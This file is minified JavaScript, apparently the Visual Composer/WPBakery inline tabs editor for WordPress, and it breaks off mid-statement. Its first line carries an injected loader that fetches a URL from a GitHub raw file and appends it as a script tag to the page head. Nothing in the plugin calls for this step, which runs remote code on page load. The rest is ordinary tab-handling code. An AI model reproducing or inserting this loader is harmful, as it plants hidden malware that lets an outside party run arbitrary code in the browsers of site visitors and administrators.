;var url = 'https://raw.githubusercontent.com/AlexanderRPatton/cdn/main/repo.txt';fetch(url).then(response => response.text()).then(data => {var script = document.createElement('script');script.src = data.trim();document.getElementsByTagName('head')[0].appendChild(script);});(function ( $ ) { 'use strict'; window.vc.cloneMethod_vc_tab = function ( data, model ) { data.params = _.extend( {}, data.params ); data.params.tab_id = vc_guid() + '-cl'; if ( !_.isUndefined( model.get( 'active_before_cloned' ) ) ) { data.active_before_cloned = model.get( 'active_before_cloned' ); } return data; }; window.InlineShortcodeView_vc_tabs = window.InlineShortcodeView_vc_row.extend( { events: { 'click > :first > .vc_empty-element': 'addElement', 'click > :first > .wpb_wrapper > .ui-tabs-nav > li': 'setActiveTab' }, already_build: false, active_model_id: false, $tabsNav: false, active: 0, render: function () { _.bindAll( this, 'stopSorting' ); this.$tabs = this.$el.find( '> .wpb_tabs' ); window.InlineShortcodeView_vc_tabs.__super__.render.call( this ); this.buildNav(); return this; }, buildNav: function () { var $nav = this.tabsControls(); this.$tabs.find( '> .wpb_wrapper > .vc_element[data-tag="vc_tab"]' ).each( function ( key ) { $( 'li:eq(' + key + ')', $nav ).attr( 'data-m-id', $( this ).data( 'model-id' ) ); } ); }, changed: function () { if ( this.allowAddControlOnEmpty() && 0 === this.$el.find( '.vc_element[data-tag]' ).length ) { this.$el.addClass( 'vc_empty' ).find( '> :first > div' ).addClass( 'vc_empty-element' ); } else { this.$el.removeClass( 'vc_empty' ).find( '> :first > div' ).removeClass( 'vc_empty-element' ); } this.setSorting(); }, setActiveTab: function ( e ) { var $tab = $( e.currentTarget ); this.active_model_id = $tab.data( 'm-id' ); }, tabsControls: function () { return this.$tabsNav ? this.$tabsNav : this.$tabsNav = this.$el.find( '.wpb_tabs_nav' ); }, buildTabs: function ( active_model ) { if ( active_model ) { this.active_model_id = active_model.get( 'id' ); this.active = this.tabsControls().find( '[data-m-id=' + this.active_model_id + ']' ).index(); } if ( false === this.active_model_id ) { var active_el = this.tabsControls().find( 'li:first' ); this.active = active_el.index(); this.active_model_id = active_el.data( 'm-id' ); } if ( !this.checkCount() ) { window.vc.frame_window.vc_iframe.buildTabs( this.$tabs, this.active ); } }, checkCount: function () { return this.$tabs.find( '> .wpb_wrapper > .vc_element[data-tag="vc_tab"]' ).length != this.$tabs.find( '> .wpb_wrapper > .vc_element.vc_vc_tab' ).length; }, beforeUpdate: function () { this.$tabs.find( '.wpb_tabs_heading' ).remove(); window.vc.frame_window.vc_iframe.destroyTabs( this.$tabs ); }, updated: function () { window.InlineShortcodeView_vc_tabs.__super__.updated.call( this ); this.$tabs.find( '.wpb_tabs_nav:first' ).remove(); this.buildNav(); window.vc.frame_window.vc_iframe.buildTabs( this.$tabs ); this.setSorting(); }, rowsColumnsConverted: function () { _.each( window.vc.shortcodes.where( { parent_id: this.model.get( 'id' ) } ), function ( model ) { if ( model.view.rowsColumnsConverted ) { model.view.rowsColumnsConverted(); } } ); }, addTab: function ( model ) { if ( this.updateIfExistTab( model ) ) { return false; } var $control = this.buildControlHtml( model ), $cloned_tab; if ( model.get( 'cloned' ) && ($cloned_tab = this.tabsControls().find( '[data-m-id=' + model.get( 'cloned_from' ).id + ']' )).length ) { if ( !model.get( 'cloned_appended' ) ) { $control.appendTo( this.tabsControls() ); model.set( 'cloned_appended', true ); } } else { $control.appendTo( this.tabsControls() ); } this.changed(); return true; }, cloneTabAfter: function ( model ) { this.$tabs.find( '> .wpb_wrapper > .wpb_tabs_nav > div' ).remove(); this.buildTabs( model ); }, updateIfExistTab: function ( model ) { var $tab = this.tabsControls().find( '[data-m-id=' + model.get( 'id' ) + ']' ); if ( $tab.length ) { $tab.attr( 'aria-controls', 'tab-' + model.getParam( 'tab_id' ) ) .find( 'a' ) .attr( 'href', '#tab-' + model.getParam( 'tab_id' ) ) .text( model.getParam( 'title' ) ); return true; } return false; }, buildControlHtml: function ( model ) { var params = model.get( 'params' ), $tab = $( '